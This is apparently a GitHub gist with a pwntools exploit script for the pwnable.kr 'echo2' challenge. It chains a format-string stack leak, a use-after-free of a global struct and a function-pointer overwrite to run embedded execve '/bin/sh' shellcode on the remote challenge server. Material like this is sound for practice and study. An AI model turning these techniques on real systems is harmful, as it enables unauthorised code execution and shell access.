Skip to content

Instantly share code, notes, and snippets.

@Pascal-0x90
Last active March 9, 2021 23:20
Show Gist options
  • Save Pascal-0x90/c4fa23f6916c772b34935a4ea59ee694 to your computer and use it in GitHub Desktop.
Save Pascal-0x90/c4fa23f6916c772b34935a4ea59ee694 to your computer and use it in GitHub Desktop.
Pwnable.kr Solves: echo2
#!/usr/bin/python
###################################
# Std imports
import sys
# Third party Imports
from pwn import *
# Binary
BINARY = sys.argv[1]
# Pwntools Binary info
context(os='linux', arch='amd64')
r = ROP(BINARY)
e = ELF(BINARY)
l = e.libc
# Connections and interactions
#p = process(BINARY)
p = remote("pwnable.kr", 9011)
# GDB anyone?
#gdb.attach(p)
#input("Ready to roll?")
###################################
'''
Notes:
- We notice now the only functions we can use is 2 and 3.
- There is a global var called o. This gets malloced to.
- In cleanup it gets freed, we could just recall option 2 though.
- In the func echo3, the malloc is within the same bin as the first malloc.
- This allows us to abuse and change the addr to some other place.
- We should be able to store at least 24 bytes of shellcode in the name field. I think thats enough.
- Leak
'''
# Shellcraft is too big, used 23 byte shellcode found on exploitdb https://www.exploit-db.com/exploits/36858
SHELLCODE = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
JUNK = b"A" * 24
def set_shellcode(p):
# Wait till ready
p.recvuntil(":")
# Set our name as the shellcode
if type(SHELLCODE) == bytes:
p.sendline(SHELLCODE)
else:
p.sendline(asm(SHELLCODE))
def leak_stk(p):
# Wait till ready
p.recvuntil("> ")
# Select option 2
p.sendline("2")
p.recvline()
# We want to leak the pointer to this loc
# we shall send it a format string to print pointers
p.sendline("%10$p")
# Now recv the leak and store
leak = int(p.recvline().strip(),16)
# Return the leak
return leak
def free_o(p):
# wait till ready
p.recvuntil("> ")
# Go to exit
p.sendline("4")
# Haha, jk
p.sendline("n")
def overwrite_o(p, leak):
# Wait till ready
p.recvuntil("> ")
# Select option 3 to overwrite prev o location
p.sendline("3")
# Wait till ready
p.recvline()
p.clean()
'''
Now lets overwrite it with our name location
Based on our leak, we looked in mem and found:
0x7ffc8651f790-0x7ffc8651f770 = 0x20 for difference
name location.
We also want to make sure we overwrite the correct
location. So currently we have a chunk which has been
brought in from tcache which is pointing to the beginning
of o. We want to try to overwrite hello or goodbye in o
as that will then execute our shellcode. Since hello has
already executed. Lets overwrite goodbye. This is currently in the
third position which is 3*8 = 24 bytes away from the start of o.
Therefore we need to buffer with junk.
'''
p.sendline(JUNK + p64(leak - 0x20))
return None
set_shellcode(p)
leak = leak_stk(p)
free_o(p)
overwrite_o(p, leak)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment